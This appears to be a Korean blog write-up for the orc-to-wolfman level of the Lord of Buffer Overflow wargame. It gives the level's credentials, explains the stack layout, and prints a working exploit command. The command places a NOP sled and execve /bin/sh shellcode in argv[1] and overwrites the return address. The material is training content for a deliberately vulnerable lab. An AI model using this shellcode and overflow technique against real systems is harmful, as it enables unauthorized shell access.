id : orc
password : cantata
로그인 후 wolfman.c 코드를 보면 다음과 같다
이번 문제는 환경변수를 없애고 버퍼를 0으로 채우게 된다
남아있는 것은 argv[1]이기 때문에 리턴어드레스에 argv[1]의 주소를 넣어주면 된다
gdb로 argv[1]의 시작 주소를 알아냈다
0xbffffc46이다
$ebp에는 sfp, 리턴 어드레스, argc, argv[2]가 들어간다
원래 0x00000000 대신에 0x00000002 가 있어야 한다
./wolfman `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x46\xfc\xff\xbf"'`
NOP(15) + 쉘코드(25) + NOP(4) + argv[1]의 주소(4)
쉘이 실행되고 비밀번호를 알아낼 수 있다
'Wargame > Lord Of Buffer overflow' 카테고리의 다른 글
[LOB] 7번 darkelf -> orge (0) | 2017.11.14 |
---|---|
[LOB] 6번 wolfman -> darkelf (0) | 2017.11.07 |
[LOB] 4번 goblin -> orc (0) | 2017.11.07 |
[LOB] 3번 cobolt -> goblin (0) | 2017.11.02 |
[LOB] 2번 gremlin -> cobolt (0) | 2017.11.02 |